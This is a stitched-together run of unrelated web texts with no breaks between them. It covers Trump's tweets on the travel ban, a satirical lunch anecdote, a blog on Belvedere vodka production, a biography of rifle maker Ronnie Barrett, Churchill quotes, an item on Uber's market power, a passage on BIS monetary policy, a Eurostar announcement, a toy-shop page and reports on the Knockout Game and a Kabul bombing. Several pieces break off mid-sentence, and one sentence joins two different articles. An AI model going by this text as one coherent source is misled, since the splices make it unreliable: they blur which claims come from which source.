more. Though such a scenario is still a long way off, it is entirely possible that we might see all of the major projects within the space interconnect with one another.NEW YORK/WASHINGTON (Reuters) - President Donald Trump accused his own Justice Department on Monday of watering down his temporary travel ban on people from several predominantly Muslim countries, potentially hurting his case in the Supreme Court on the matter. U.S. President Donald Trump shields his eyes as he makes concluding remarks at the Ford's Theatre Gala, an annual charity event to honor the legacy of President Abraham Lincoln, in Washington, U.S., June 4, 2017. REUTERS/Mike Theiler In a series of early morning Twitter messages, Trump returned to the issue of the travel ban that he raised immediately after an attack in London on Saturday night that killed 7 people and wounded 48. Legal experts said Trump’s tweets could complicate his legal team’s defense of the ban, since they contradict some of the arguments the government’s lawyers are making in court. Trump has presented the measure, which seeks to halt entry to the United States for 90 days for people from Iran, Libya, Somalia, Sudan, Syria and Yemen and bar refugees for four months, as essential to prevent attacks in the United States. Critics suing the government, including states and civil rights groups, say there is little national security justification for the move and the ban is discriminatory against Muslims. Federal courts have stopped it from being enforced. “The Justice Dept. should have stayed with the original travel ban, not the watered down, politically correct version they submitted to S.C.,” Trump tweeted, referring to the country’s highest court. “The Justice Dept. should ask for an expedited hearing of the watered down travel ban before the Supreme Court - & seek much tougher version!” Federal courts struck down Trump’s first temporary travel ban, an executive order he issued a week after taking office on Jan 20. To overcome the legal hurdles, he replaced it with a new order in March. The second ban was also put on hold by courts. The Justice Department says the courts should look only at the text of the order, not at the president’s comments during the 2016 election campaign about imposing a ban on Muslims. “His tweets invite the question: if the second ban is ‘politically correct,’ what is un-P.C. about the original? And the answer is obvious: Trump told us it’s about banning Muslims,” said Micah Schwartzman, a professor at the University of Virginia School of Law. Trump, whose populist brand of politics includes criticizing political correctness as an evasion of uncomfortable truths, called in a statement on his campaign website for a “complete shutdown of Muslims entering the United States.” “The President’s tweets may help encourage his base, but they can’t help him in court,” said Jonathan Adler, a professor at the Case Western Reserve University School of Law. Trump’s legal team asked the Supreme Court last week to reverse rulings by lower courts and allow the revised travel ban to go into effect immediately. At issue before the court is whether the travel curbs violate the U.S. Constitution’s ban on favoring one religion over another. The revised order removed language barring legal permanent residents and a clause that protected religious minorities. It also removed Iraq from the list of targeted countries. Trump said in an interview with the Christian Broadcasting Network shortly after signing the first ban that it would help Syrian Christians fleeing the country’s civil war, a comment lawyers challenging the ban have pointed to as a sign it meant to favor Christians over Muslims. White House spokeswoman Sarah Sanders said Trump agreed to modify the language of the first order in an effort to satisfy the concerns of a federal appeals court that halted it, but he preferred the stronger action. “He wants to go as far and as strong as possible under the Constitution to protect the people in this country,” Sanders told a news briefing on Monday. ‘SLOW AND POLITICAL’ Neal Katyal, an attorney for the state of Hawaii, which challenged the revised ban, said the president’s comments only bolstered its case. “It’s kinda odd to have the defendant in Hawaii v Trump acting as our co-counsel. We don’t need the help but will take it!” Katyal said in a tweeted response to Trump’s posts on Monday. Trump also tweeted on Monday that his administration was implementing tougher vetting of would-be visitors to the United States, adding: “The courts are slow and political!” Legal experts said that comment could also undermine the government’s case that the travel ban is urgently needed, given the government has said the temporary travel restrictions would free up resources to put in place tougher screening protocols. Last week, the administration rolled out new policies on visa applications for some people who are deemed subject to greater scrutiny. U.S. Senator Ben Cardin, who is the top Democrat on the Senate Foreign Relations Committee and opposes the ban, said on CNN the tweets showed the Republican president’s disdain for the judicial branch. Trump needs five votes from the nine-judge Supreme Court in his favor to put the ban into effect. With the confirmation of Trump’s Supreme Court pick earlier this year, the court retains a 5-4 conservative majority, while the lower courts that have ruled thus far have been more liberal-leaning. Peter Margulies, an immigration expert at Roger Williams University School of Law in Rhode Island, said of Trump’s tweets, “To the extent that Trump is sort of a bull in a china shop, that might make the Supreme Court nervous.” On Friday, the Supreme Court asked the challengers of the travel ban to file responses to the emergency request by June 12. Trump’s administration would then likely to file its own response before the court’s nine justices make their decision. White House senior adviser Kellyanne Conway defended Trump’s tweets following the London attack. In an NBC interview on Monday, she cited a media “obsession with covering everything he says on Twitter and very little of what he does as president.”Francesca Villalobos consumed an entire “tossed salad” without any salad dressing whatsoever during a lunch with her sister at Morton’s Steakhouse. The Plantain has learned that the 24-year-old woman, who works for a yacht company or something, ate the $18 pile of kale and 3-cherry tomatoes in front of her older sister Beth with a level of self-satisfaction the likes of which the upscale steakhouse had never seen. “She was just sitting there, eating leaves like she was some sort of giraffe,” reported 31 year old Beth, an oncologist who though she loves her sister has always resented her because mom was so much easier on her. “It’s so typical of her,” said Beth of her sister, who she knows purposefully waited until after Beth ordered her 18-oz rib-eye and baked potato before telling the waiter that she just wanted a small salad without dressing, an order which shamed Beth into changing her order to an Apple Pecan salad. “Yeah, I changed my order to a salad,” admitted Beth, before adding “but at least I didn’t ask for it without dressing. I’m not a joyless dickhole.” Francesca spent the meal telling her sister all about Jennifer from work who she thinks is very jealous of her because she, I guess, sells more boats or something. [Editor's Note: Yachts are not boats and yacht people take the distinction very seriously, although under pressure they admit that yachts are just fucking boats]. “I can’t believe she didn’t even ask about Aiden,” thought Beth toward the end of the meal as she scraped the remaining Blue Cheese from the sides of her empty bowl. “Aw, sweetie, I wish I could spend time with you all day, but I’m teaching a Pilates class at 4:00,” said Francesca as she gave her older sister a hug. “Yeah, I’m busy too,” said Beth, who was actually not at all busy because she took the day off to spend it with her sister, who didn’t even wish her a happy birthday.First off, let me start by saying that this week's effort to understand vodka is not an attempt to reach out to whisky drinkers to help them crossover into an appreciation of this great white spirit. There are few whisky analogies in this article because vodka is not whisky. I'm writing these articles in an attempt to increase my own understanding (and therefore appreciation) of vodka because I like to drink and I like to know why others like to drink, too. Therefore, if you're totally bored with vodka and have no interest in learning more about it, you'll need to find another blog to read this week because I'm not drinking anything else besides vodka until Sunday, therefore I won't be discussing anything else besides vodka until Sunday. That being said, let's get to it! If you're going to start a conversation about vodka (which I am attempting to do), it makes sense to start with Poland. I know many people consider Russia to be the motherland of vodka distillation, but vodka as we know it has been produced in Poland for more than 600 years and it's believed that vodka originated there (it's a scholarly argument that's open for debate, so I won't definitively say anything here). I will quote a Wikipedia site, however, so that you can have something to chew on: Scholars debate the beginnings of vodka and it is a problematic and contentious issue due to little historical material available on the subject of the origins of the drink. According to some sources, first production of vodka took place in the area of today's Russia in the late 9th century; however, some argue that it may have happened even earlier in Poland in the 8th century. According to the Gin and Vodka Association (GVA),the first distillery was documented over three hundred years later at Khlynovsk as reported in the Vyatka Chronicle of 1174. For many centuries, beverages differed significantly compared to the vodka of today, as the spirit at that time had a different flavor, color and smell, and was originally used as medicine. It contained little alcohol, an estimated maximum of about 14%, as only this amount can be attained by natural fermentation. The still allowing for distillation – the "burning of wine" – was invented in the 8th century. There is evidence of large-scale distillation in Poland by the end of the 1500s. It wasn't anything modern or advanced like we have today, but it was happening and rye was the grain of choice. According to the same Wikipedia article, Jakub Kazimierz Haur, in his book Skład albo skarbiec znakomitych sekretów ekonomii ziemiańskiej (A Treasury of Excellent Secrets about Landed Gentry's Economy, Kraków, 1693), gave detailed recipes for making vodka from rye. At Polmos Zyrardów distillery, west of Warsaw, they've been producing vodka since 1910 using only Dańkowskie Złote, a strain of rye that has been cultivated and farmed for centuries within the soil. Polmos Zyrardów is where Belvedere vodka is made today and it is distilled only from this locally sourced grain. The distillery has a pretty detailed history as well. I could tell you about it, but I would only be paraphrasing the information I've recently received from LVMH, so why not just let them tell you? I hit LVMH up for a TON of information today, basically grilling them on anything I could think of. The following is the result of those queries: Belvedere Vodka hails from the small town of Żyrardów in the Mazovian plains of central Poland, 45km west of Warsaw at the Polmos Żyrardów distillery. The quiet lane which leads to the distillery runs parallel to the tracks of the original 1845 Warsaw‐Vienna railway. Pronounced, ‘Chu‐Rar‐Doff’, Żyrardów was a key industrial town at the time the railway was constructed, so was connected with its own station. With its fairy tale architecture, this cute little station still stands on the opposite side of the tracks just minutes before you reach the distillery. The past industrial importance of Żyrardów owed much to Philippe Henri de Girard, a French engineer who invented a linen spinning machine. He patented frames for dry‐ and wet‐spinning of flax in Paris in 1810. Girard was responding to Napoleon I’s offer of a one million franc reward for such an invention as he sought to stop English cotton fabrics entering continental Europe. Napoleon reneged, so Girard sought his fortune in England and in 1815 also patented his invention in London where the Industrial Revolution was in full swing. His move coincided with the Battle of Waterloo, so as registration of the patents under a French name would have been problematic, he used the very English sounding pseudonym, Horace Hall. In 1825, Girard was hired by the Polish government to help develop its textile industry. Backed by the Bank of Poland, in 1831, he established a factory in Marymont near Warsaw. Two years later he moved to the village of Ruda Guzowska in the Mazovian plain (Nizina Mazowiecka, or Plains of Łowicko‐Blonska) where the Łubieńscy family owned vast tracts of land ideally suited to growing the flax that linen is spun from. Two brothers from this family built Fabryka Wyrobów Lnianych, the largest linen factory in Europe, and hired Girard as their technical director. In 1857, the factory was bought by Karl August Dietrich and Karl Hielle, two German entrepreneurs who expanded the factory and built an industrial town around it. The main square was opposite the factory gates and bordered by civic buildings such as the town hall, library, school, nursery and the imposing Holy Mother of Consolation Parish Church. Around this central hub, lines of terraced housing for the weavers and labourers were constructed. The huge factory, civic buildings and the houses were all built from locally made red bricks. By 1900, what was a small village had turned into a large industrial town of 30,000 people. The rapid growth and affluence of Ruda Guzowska and its connection to the Warsaw‐Vienna railway attracted bakers, brewers and other trades. Ruda Guzowska also became a popular place for displaced Jews to settle, including two Russian brothers called Pine, who in May 1910 opened their distillery, now Polmos Żyrardów – renamed in honour of Girard after the Polish spelling of his name – on the edge of town. Żyrardów is now a uniquely preserved 19th century industrial town with efforts underway to attain UNESCO World Heritage status. The town retains a reputation for its fabric and the Linen Fabrics Żyrardów Company continues to operate in the grounds of the former linen factory. The old linen factory still dominates the centre of town and is being redeveloped as an apartment building. Today, however, Żyrardów is better known for making vodka. Belvedere’s strip stamp honours this history by reflecting the colour of the flax flower, the plant from which linen is spun. That's a pretty cool story, right? But what does that have to do with how the vodka is made or how good it tastes? Don't worry, I've dug up the specifics. What I want to make clear before I explain the process is that I've never been to a distillery that actually distills its own vodka. I've been to distilleries that rectify vodka, meaning that they purchase inexpensive neutral grain spirit and redistill it to purify it further (which is what many American vodka producers do), but I've never seen anyone actually start the process by fermenting their own rye, wheat, or corn and make vodka out of it. It's not a process that most modern distilleries can handle because it's quite an agricultural process. Think about the grain whisky component of Scotch: how many grain distilleries are there? Not many, and there's a reason why: it's much cheaper to do it on a large scale. Belvedere does not ferment their own rye either. The "agricultural" distillation, the initial fermentation and first distillation, takes place at ten agricultural distilleries who work in partnership with Polmos Żyrardów. These farms plant the grain in September and start harvesting the Dańkowskie Gold and Diamond rye in late July the following year, finishing around a month later. They then store the grain for distillation over the following eleven months of the year. According to Belvedere, by the end of the communist era (1989) there were some 900 working agricultural distilleries in Poland but now only some sixty survive, but those left are far more technically advanced and produce more alcohol than the 900 inefficient state‐run distilleries did. To quote my information from Belvedere further: After harvesting, the Dankowskie Gold rye is simmered in a vessel, which is basically a vast pressure cooker, to form a mash resembling a thick porridge. Amylase and diastase enzymes are added to aid the breakdown of starches into sugars and so speed the fermentation. Distillers’ yeast is added and the resulting fermentation produces a beer‐like wort at 7‐8% alcohol/volume. This is distilled in a column still to produce raw rye spirit at 92% alcohol/volume which is shipped to Polmos Żyrardów. Organoleptic and chemical analysis of samples submitted by these agricultural distillers enables Polmos Żyrardów to ensure they receive raw spirit of the highest quality. So as you can see, the production of vodka is more about taking high-proof grain spirit and rectifying it. Whereas many distilleries I've visited simply purchase their NGS from the general market, sometimes knowing little about its origin, Belvedere (and many Polish vodkas for that matter) works closely with both the farmers and the agricultural distilleries from which they contract. What makes the rye so important if it's being distilled so many times? If you're a skeptic like me, you'll wonder what exactly makes this Dańkowskie rye so important if the final result is going to be a neutral spirit anyway. There are actually two forms of this grain: gold and diamond, and they work differently in distillation. Maybe even more important is the way they affect the ultimate flavor of the vodka. Here are the details: Dankowskie Gold Rye - A unique strain of winter rye cross cultivated over 100 years and only grown in the Mazovian plans of western Poland. This grain is cherished for its usually high starch content (around 65% vs. the standard 50‐55% for generic rye) which makes it perfect for distillation. Winter rye is any breed of rye planted in the fall (late August/early September) to provide ground cover for the winter. It actually grows during any warmer days of the winter, when sunlight temporarily brings the plant to above freezing, even while there is still general snow cover. This means that rye is climatically the perfect grain for the colder climates of Poland eastern Ukraine. Rye is a rich and complex and grain which has a wide range of flavour characteristics depending on fermentation and severity of distillation. It is not uncommon to find aromas of butterscotch, fudge or toffee, and flavours of toasted rye bread, cream or white and black pepper within a high quality rye vodka. The skill lies in the distillers ability to draw out the positive characteristics of the grain. In terms of the raw material hierarchy, rye tops the list due to its comparative scarcity when compared to other grains, and Dankowskie Gold rye is only grown successfully in Poland making this the most a highly prized Polish grain. Dankowskie Diamond Rye (used in the Belvedere Unfiltered only) - First registered in 2008, Dankowskie Diamond Rye is a rare, baker’s grade rye that only grows on a hand full of Polish farms. The grain has a a low starch content and distinctive characteristics not normally associated with rye grain. Through Polmos Żyrardów's Raw Spirit Programme, Dankowskie Diamond Rye’s potential as a distilled grain has been unlocked. Working closely with select agricultural partners and the University of Lodz, Dankowskie Diamond has been carefully grown and fermented and distilled in order to maximise the unique characteristics of the grain. For this reason, the decision was also taken to leave the Vodka unfiltered, to preserve the exceptionally viscous mouth feel and soft, delicate flavours coming solely from the grain. Belvedere's vodka flavor wheel - just like whisky! When you taste Belvedere, or even other Polish rye vodkas, next to a wheat or potato vodka, there is indeed a difference in both the flavor and the mouthfeel. I was actually shocked to find that Belvedere created a flavor wheel, much like the ones you find with whisky, to explain what one is tasting (very helpful, by the way). I found that in a blind tasting next to other non-rye, non-Polish vodkas, my wife and I chose both the Belvedere and Potocki vodkas as our favorites. They were both clean, soft, creamy, and pure as they finished. Coincidence? What makes the water so important? If a grain is being distilled until it is technically neutral in flavor, then the water used to proof down the spirit will play a big role in the ultimate purity of that flavor. Here is the information on Belvedere's water procedures: Polmos Żyrardów has its own two artesian wells from which it sources all the water used in the distilling process. These wells are constantly monitored by security systems and not shared or used for any other purpose other than the production of Belvedere Vodka. The artesian well‐water passes through an eleven‐step purification system which includes reverse osmosis to remove all dissolved salts, such as sodium, chloride, calcium carbonate and calcium sulphate. The aim is to produce pure, tasteless water, which will not affect the flavour of the finished vodka and will act as a blank canvass for the Dankowskie Gold or Diamond Rye to be expressed. Without this pure, soft water the elegance of the vodka would be reduced and it is therefore integral to the flavour delivery and mouthfeel of Belvedere. Water represents 60% of a bottle of Belvedere, the quality and consistency must be assured. This is why the land we draw the water from is owned and protected and the water source itself is not mechanically aided. This ensures the water delivered to the distillery in an entirely closed, acid resistant stainless steel pipes is as unadulterated as possible. A premium water source is only part of the equation when it comes to producing a premium spirit, particularly for vodka. A water that is pure, soft and unadulterated that is used to emphasize a premium distillate suggests that the spirit in question is something worth emphasizing. I found that to be a great explanation. There's no hiding the fact that water makes up "60%" of the bottle, so it's an incredibly important ingredient. On the flip side, this is a statistic that is usually used to mock vodka as a spirit worthy of connoisseurship. It all depends on your point of view, I guess. Although if you travel to Scotland and visit the distilleries, you'll hear a lot of talk about the importance of Scottish water there as well. What is the rectification process? I was impressed by how clearly LVMH discussed the rectifcation process as well – the means by which the vodka is purified through further distillations. Most interesting is the fact that the spirit is dilluted with Polish water before it's distilled again. Check out this piece of info: After a stringent chemical and organylipical analysis, the raw rye spirit from the agricultural distilleries is brought into Polmos Zyrardów and diluted to 45% alcohol/volume using the purified water. It is then distilled and rectified using a three‐column process with a capacity of 23,000 litres per day. Firstly a 250,000 litre pre‐distillation column removes acids, esters and aldehydes. A second rectification column removes the remaining fusel oils and produces a spirit at 96.5% alcohol/volume. Finally, a third purifying column removes any remaining off notes or odours from the spirit: hence the claim that Belvedere is “quadruple distilled”, once at the agricultural distillery followed by the three‐column process at Polmos Żyrardów. The pure spirit is stored in tanks for a minimum of two days to allow the spirit to rest before being hydrated to bottling strength with the distillery’s own purified artesian well water. This marrying process takes place slowly over several days. The vodka then undergoes filtration through activated charcoal and cellulose particle filers prior to bottling. The whole Belvedere production process is designed to produce a very pure spirit that still retains character: Belvedere is distilled and filtered just enough to retain all the character of Dańkowskie Gold or Diamond Rye. One thing about Polish vodka that makes it interesting is that it is one of the most regulated types of spirit in existence. As a distiller, you can't legally buy cheaper rye from Russia or China, import it in, and make Polish vodka. All of the base materials (either rye, wheat, or potatoes) must be Polish, the water must come from Poland, and the product must of course be distilled in Poland. European law also recognizes Polish vodka as having its own geographical appellation, further stating that it may not have further additives besides water (this does not count for "flavored" vodka, of course, which is its own category). Belvedere is just one of several outstanding Polish vodkas we carry at K&L. Potocki and Chopin (made from potatoes) are also quite good. But, of course, they've been making vodka in Poland for centuries, so you'd expect that right? There is a tradition of drinking and distilling vodka in Eastern Europe and it definitely shows when you compare their products next to vodkas from American and elsewhere. Maybe it's because they take it more seriously? Maybe it's because they're not rolling their eyes and holding their breath as they make each batch, knowing that it's just a way to make money while they're waiting for their whiskey to age? We'll see! More vodka information coming later. -David DriscollRonnie G. Barrett (born 1954) is an American firearms manufacturer, the founder of Barrett Firearms Manufacturing of Christiana, Tennessee and the designer of the first.50 caliber rifle for civilian use. Life and career [ edit ] Barrett was born in Murfreesboro, Tennessee in 1954, and graduated from Murfreesboro Central High School.[2] He started his career in 1972 as a professional photographer. In 1982, while he owned a photography studio, he got his initial inspiration to create what would become the Barrett signature product. On January 1, 1982, when Barrett was photographing a river patrol gunboat on the Stones River near Nashville, Tennessee, he created an award-winning picture that made him start thinking about the.50 caliber cartridge because of two Browning machineguns mounted prominently on that boat.[3] Since no commercially available.50 caliber rifle existed at that time, he decided to make a semi-automatic weapon.[4] With no background in manufacturing or engineering, Barrett sketched a cross-sectioned, full-size rifle, adding different components to it. Once he decided on the concept, he approached some machine shops with his drawings. They told him that if his idea were any good, someone smarter would have already designed it.[2] However, this did not diminish his ideas. A few days later, Bob Mitchell, a tool and die maker and machinist in Smyrna, Tennessee, agreed to help. After their regular job responsibilities, the men would start working on Barrett’s ideas, sometimes laboring together all night in a one-bay garage using a small mill and lathe. Barrett also found support from a sheet metal fabricator who allowed him to visit the owner’s shop and work directly with one employee, Harry Watson. The resulting gun was the shoulder-fired Barrett rifle, which was created in less than four months.[5] While fine-tuning the first prototype rifle, Barrett began designing a second prototype that featured an improved and sleek exterior and other improvements learned from the first prototype. He made a video of the first prototype being fired, then prepared the second prototype so it would sit on a table. He displayed the latter at a Houston, Texas, gun show where three people gave him deposits to make a rifle for them. With a limited amount of money, Barrett set up a small shop at his residence in a gravel-floored garage. He began by building a batch of 30 rifles, mainly because the two wooden gun racks he made in his father’s cabinet shop held 15 rifles each.[3] Ronnie Barrett Top 10 Award Using his hand-drawing of the new rifle, he placed an advertisement in Shotgun News and soon sold-out the first batch. Barrett was contacted by the CIA who purchased a number of rifles for the Afghan Mujahideen for use in their war against the Soviet Union.[4] In the last 100 years, only seven individuals have invented firearms adopted by the United States Military. Besides Ronnie Barrett, the other six are John Browning, John C. Garand, Eugene Stoner, John Taliaferro Thompson, Melvin Maynard Johnson JR, and Eugene Reising. The first three referenced had their designs perfected and mass-produced by either the U.S. government or another manufacturing company.[6][7][8] Of these seven designers, only Browning, Garand, Thompson, and Barrett have entered colloquial language in reference to their weapons. With the exception of two of Stoner's designs that were bought for limited use from ArmaLite, Barrett is the only one of the group to create, manufacture, market and mass-produce his firearm for the United States government.[4] Barrett married Tennessee State Rep. Donna Rowland during 2010.[1]“A fanatic is one who can’t change his mind and won’t change the subject.” At a dinner with Churchill, Ribbentrop had said that, in a future war with Britain, Germany would have the Italians on its side. Churchill, referring to Italy’s poor record in the First World War, responded with one of his devastating verbal flashes: “That’s only fair – we had them last time.” “Continuous effort – not strength or intelligence – is the key to unlocking our potential.” “Eating Words has never given me indigestion.” Churchill, following an operation to remove his appendix, and facing a bleak political future commented that he was about to find himself:“…without an office, without a seat, without a party and without an appendix.” “… Napoleon’s armies had a theme … But Hitler, Hitler has no theme, naught but mania, appetite and exploitation.” “History is written by the Victors.”Uber and other large technology firms have received their share of both good and bad press for 'disrupting' traditional business models. But what if the game is much larger and these companies are a threat to capitalism itself? Antony Funnell reports. Public discussion about the dramatic rise of Uber is often grounded in the idea of a titanic struggle between old-fashioned expensive taxi companies and a new digital upstart. Uber usually comes out on top because it's new, cool and part of the'sharing economy'. But legal academic Frank Pasquale offers a very different perspective. Companies like Uber, he argues, represent a threat to competitive capitalism. Their modus operandi is to use populist discourse—and vast financial backing from venture capitalists—to ignore laws, overwhelm markets and establish monopolies. The problem is that it really destroys the level playing field because you'll have one tier of firms that is operating in fear of regulation and another tier of mega-firms that simply routes around it, evades it, or co-opts it via lobbying. Professor Frank Pasquale Pasquale, who lectures in law at the University of Maryland, says that while Uber likes to present itself as a grassroots/collectivist organisation, it is in fact a massive top-down, San Francisco-based corporation with a market capitalisation of over US$50 Billion. In that sense, he argues, Uber's claims to be a genuine part of the sharing economy appear to be more than a little disingenuous. 'I think you can look back to the old Craigslist model where people were just putting up ads for free and maybe there was some residual advertising advantage for Craiglist to have this big set of people that wanted to find, say, a place to crash for a night or so or something like that. Yes, that's great, it's great to see the internet enable that type of collaboration,' says Pasquale. 'But what you see in a firm like Uber is an appeal to venture capitalists—speculative capital—that wants to see massive returns via monopolisation. Let's not mistake the business model here. The model here is for one of these firms to come in and to take over various aspects of commerce.' Uber's financial backers are reported to include everyone from the government of the
that central banks will find themselves behind the curve, exiting too late or too slowly," it said. This has earned the BIS a reputation for Austrian School ideology. It is accused of encouraging crude liquidation. The bank denies this, tracing the bank’s doctrines to the pre-Keynesian Swedish economist Knut Wicksell. Wicksell posited a “natural rate of interest”. Holding rates too low creates a host of problems. While his model looks like the modern “Taylor Rule” used by the Fed and other central banks, it is different in crucial respects. Confident in its cause, the BIS more or less indicts the central bank establishment for malpractice. "Policy does not lean against the booms but eases aggressively and persistently during busts. This induces a downward bias in interest rates and an upward bias in debt levels, which in turn makes it hard to raise rates without damaging the economy – a debt trap." "Systemic financial crises do not become less frequent or intense, private and public debts continue to grow, the economy fails to climb onto a stronger sustainable path, and monetary and fiscal policies run out of ammunition. Over time, policies lose their effectiveness and may end up fostering the very conditions they seek to prevent," it said. Basel's lonely call for discipline pits it against the Fed, the Bank of Japan, the Bank of England, and even Frankfurt these days. It prompted an unusually piquant riposte from London earlier this month. "Has monetary policy aided and abetted risk-taking? I hope so. That's why we did it," said the Bank of England’s chief economist Andy Haldane. "It is good to have the debate,” said Mr Caruana gamely. Yet he refuses to back down. “There is something strange about fighting debt by incentivizing more debt." He is now skirmishing on a fresh front, questioning the Fed's new enthusiasm for macro-prudential curbs as a first line of defence. "On their own there is little evidence that they can constrain financial imbalances. We don’t think'macro-pru' can serve as a substitute," he said. Mr Caruana said the US recovery is not a vindication of monetary stimulus, but rather evidence that the best answer to "balance sheet recessions" is to clear away the dead wood and unlock resources for new technologies. “The Americans were quite aggressive in forcing recognition of losses and there was a very rapid recapitalisation of the banks. This is why it was successful. The role of quantitative easing is an open question.” Mr Caruana dismisses the global deflation scare as alarmist, even though Sweden's Riksbank has just abandoned his camp and slashed rates to near zero to avert a Japanase-style trap. Deflation is very unlikely to happen in the West, he insists. Gently falling prices are typically benign in any case. "We should not exaggerate the role of deflation in history," he said. The Great Depression is the exception, not the rule. Welfare systems and unemployment insurance now make such an outcome almost impossible. "In the 1930s the stabilizers were very different," he said. Critics are unlikely to accept this assurance since Spain, Greece, Portugal, Ireland, and Latvia have all gone through depressions over the last six years, and Italy, France and Holland are all close to debt-deflation. The concern is what would now happen to parts of Europe if there were a fresh downturn or an external shock. Debt ratios are higher than they were in the 19th Century. The "denominator effect" of deflation is therefore more destructive today. The International Monetary Fund has hinted that it might be best for the world to chip away its debt mountain with a few years of inflation, as the US did in late 1940s and early 1950s, armed with financial repression. Asked whether he would support this form of loss recognition for creditors, Mr Caruana came close to choking. “It must be clearly resisted,” he said.Eurostar on Friday, Sept. 27, 2013 announced it had signed an agreement with Netherlands Railways (NS) "to launch direct services between London and Amsterdam from December 2016." Eurostar said the move is “part of a package of measures to enhance the services on the Dutch high speed line and will be ratified by the Dutch Parliament over the coming months. The Eurostar service will feature its new e320 trains, which will be interoperable and will be compatible with the Dutch high speed signaling systems.” Since becoming a standalone company in 2010, Eurostar says, it has sought to expand its service territory, including the addition of trains serving the Swiss Alps and southern France. “We have long been ambitious for expansion to new destinations so today’s announcement marks a major advance in our growth plans,” said Eurostar CEO Nicolas Petrovic. Eurostar plans to run two services a day between London and Amsterdam with journey times of around four hours. These services will run via Brussels, Belgium to Amsterdam, also stopping at Antwerp, Belgium, as well as Rotterdam and two stops in the Amsterdam area, Schiphol Airport and Amsterdam Centraal. Launched in 1994 as a collaborative effort involving French and Belgian national railways and a subsidiary of Britain’s London and Continental Railways, Eurostar established high speed rail service linking London, Paris, and Brussels.Flux Original With its gravity-defying effect, this is a scientific toy that feels like magic! See more Helicone Inspired by nature, based on the Fibonacci Numbers and the Golden Angle, Helicone not only represents beautiful botanical structures but also provides stunning transformations before your very eyes. See more Magic Penny Kit Balance 4 coins on the edge of a glass, spin pennies at 1,000 revolutions per minute, build gravity-defying sculptures and levitating pyramids, magically move pennies up ramps, over bridges and along tightropes! See more Unusual, hard to find toys - magnets, optical illusions and much more...! Best sellers New products Han Dynasty Compass This is a modern replica of the oldest instrument in the world which is known to be a compass. view more Follow our news on twitter Join our newsletter tv channel We love video! Most of the staff at Grand Illusions used to work in television, and we get a lot of fun making videos of the products in the Grand Illusions Toy Shop, and also the wonderful toys in Tim's collection - the Toy Museum. If you just want to see our videos, you can go straight to our YouTube channel. However please remember that items in Tim's collection are not for sale. go to tv channelFear swept through Borough Park, Brooklyn, as soon as the news got out: A young man was randomly assaulted by strangers early Friday morning, and the attack was possibly part of the so-called Knockout Game. Four men were arrested, but on Friday night only one was charged and the others were released. The attack added to a growing log of reports of such crimes in the Northeast and beyond. Young assailants were randomly picking unlucky targets and trying to knock them out with just one punch. Yet police officials in several cities where such attacks have been reported said that the “game” amounted to little more than an urban myth, and that the attacks in question might be nothing more than the sort of random assaults that have always occurred. And in New York City, police officials are struggling to determine whether they should advise the public to take precautions against the Knockout Game — or whether in fact it existed.Kabul woke to explosions and gunfire after Mr Obama had completed his visit to sign a 10 year strategic pact with Hamid Karzai guaranteeing support to Afghanistan after most Nato troops leave. At least one suicide car bomber struck Green Village, a high-security compound on Jalalabad road to the east of the city, soon after 6am. Security personnel and residents gather as smoke rises in front of a guesthouse in Kabul after a suicide bomb attack (AFP/Getty Images) The first blast was followed by gunfire and more explosions as police said they were battling at least two attackers at the compound. Gen Ayub Salangi, Kabul’s police chief said four civilians in a passing car, a school student and a compound guard were killed and up to 17 more people were wounded. A spokesman for the Taliban insurgency claimed responsibility for the attack. The first claim made no mention of Mr Obama’s visit, but a later claim said it was in protest at the agreement and to show the American president was “not welcome”. Security personnel gather in front of a guesthouse in Kabul after a suicide bomb attack (AFP/Getty Images) Mr Obama had declared only hours earlier that “the light of a new day on the horizon” was in America’s sights after a decade of war, as he capitalised on the anniversary of Osama bin Laden’s death with his surprise visit to Afghanistan. Amid sharp domestic criticism over his exploitation of the al-Qaeda chief’s assassination for political gain, Mr Obama gave a defiant speech at Bagram Air Base in which he declared it was “time to renew America”. He pledged to rebuild a country of “grit and resilience” where “children live free from fear”, and – invoking September 11 and the newly rebuilt World Trade Center - “where sunlight glistens off soaring new towers in downtown Manhattan”. Mr Obama narrowed America's remaining objectives to to defeating al-Qaeda and training the Afghan security forces, saying: "Our goal is not to build a country in America’s image, or to eradicate every vestige of the Taliban". Invoking the original aims of the 2001 war, Mr Obama said that US troops must remain for two more years to give Afghanistan "the opportunity to stablise" or else risk that the country could once again become a haven for terrorists. "We must finish the job we started in Afghanistan, and end this war responsibly," he said. He also said the US had been in "direct discussions" with the Taliban in an effort to peel off more moderate for who were prepared to lay down their arms in return for peace. "A path to peace is now set before them. Those who refuse to walk it will face strong Afghan Security Forces, backed by the United States and our allies," he said. Mr Obama, who signed a strategic agreement with Afghan president Hamid Karzai outlining US support for Afghanistan after its combat troops withdraw at the end of 2014, was spared criticism of the timing of his trip by a convetion that discourages American politicians from criticising the President while he is abroad. However Republicans are furious with him for gloating over his decision to order US Navy SEALs to raid bin Laden’s Pakistani compound a year ago in re-election campaign material, and for questioning whether Mitt Romney, the presumptive Republican presidential nominee, would have done the same. Mr Romney, who has come under fire for saying in 2007 that it was “not worth moving heaven and earth” to get bin Laden, said that "even Jimmy Carter" – the former Democratic president whose name is now a byword for weak US leadership – would have ordered the operation. Senator John McCain, Mr Obama’s opponent in 2008, angrily stated that “the thing about heroes” is that “they don't brag” while Rudolph Giuliani, the Mayor of New York City at the time of the September 11 attacks, yesterday described the President’s actions as “a big mistake”. Mr Obama’s ten-minute speech went some way to pre-empting his first official campaign rallies in Ohio and Virginia on Saturday. He took credit for ending the war in Iraq and drawing down the conflict in Afghanistan, as well as “delivering justice” to al-Qaeda by killing its leader. “We have travelled through more than a decade under the dark cloud of war,” he said. “Yet here, in the pre-dawn darkness of Afghanistan, we can see the light of a new day on the horizon.” Mr Obama’s visit came after a string of incidents that have further strained the relationship between the US and its Afghan allies. A US staff sergeant allegedly massacred 17 Afghan civilians in Kandahar in March and the Taliban have stepped up the ferocity and tempo of its coordinated attacks on Kabul. The ten-year Strategic Partnership Agreement transferred control of detention facilities to Afghan forces and handed them the lead on the controversial night raids carried out by American soldiers. It also committed the US to providing funding and training for Afghan forces after 2014. The trip also came as Americans' faith in the military effort plumbed all-time lows, with only 38 per cent saying they believe that the US's campaign was going well. More than 1,900 US troops have been killed and nearly $1.3 trillion (£800 billion) spent in Afghanistan since the war started following 9/11. After signing the deal the President said it would pave the way for "a future of peace”, adding: "Neither Americans nor the Afghan people asked for this war, yet for a decade we've stood together”. Mr Obama’s visit was timed for arrival in the relative safety of darkness, with his speech to US troops scheduled to begin at 4am local time - further highlighting the fraught security situation around the US military presence. The trip was also shrouded in 